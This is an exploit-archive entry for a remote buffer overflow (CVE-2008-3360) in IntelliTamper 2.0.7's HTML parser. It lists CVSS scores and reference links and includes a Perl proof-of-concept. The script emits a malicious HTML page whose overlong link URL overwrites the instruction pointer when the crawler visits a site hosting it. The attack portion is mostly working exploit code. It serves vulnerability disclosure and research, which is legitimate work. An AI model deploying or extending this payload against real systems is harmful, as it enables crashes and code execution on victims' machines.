IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow PoC

2008.07.31

Credit: k`sOSe

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-3360

CWE: CWE-119

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

#!/usr/bin/perl
#
# k`sOSe - 07/21/2008
#
# This is NOT http://secunia.com/advisories/20172/.
# There are some BOFs in the html parser, just put a properly
# formatted html file in your website and launch IntelliTamper against it.

use warnings;
use strict;

my $evil_html   =       '<html><head><title>ph33r</title></head><body>' .
                        '<a href="http://google.it/' .
                        "\x41" x 450 .
                        "\x42" x 4 . # EIP
                        '.htm">ph33r</a>' .
                        "</body></html>";

print $evil_html;

References:

http://www.securitytracker.com/id?1020521

http://www.securityfocus.com/bid/30317

http://www.milw0rm.com/exploits/6121

http://www.milw0rm.com/exploits/6116

http://www.milw0rm.com/exploits/6103

http://www.frsirt.com/english/advisories/2008/2120/references

See this note in RAW Version

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IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow PoC

References:

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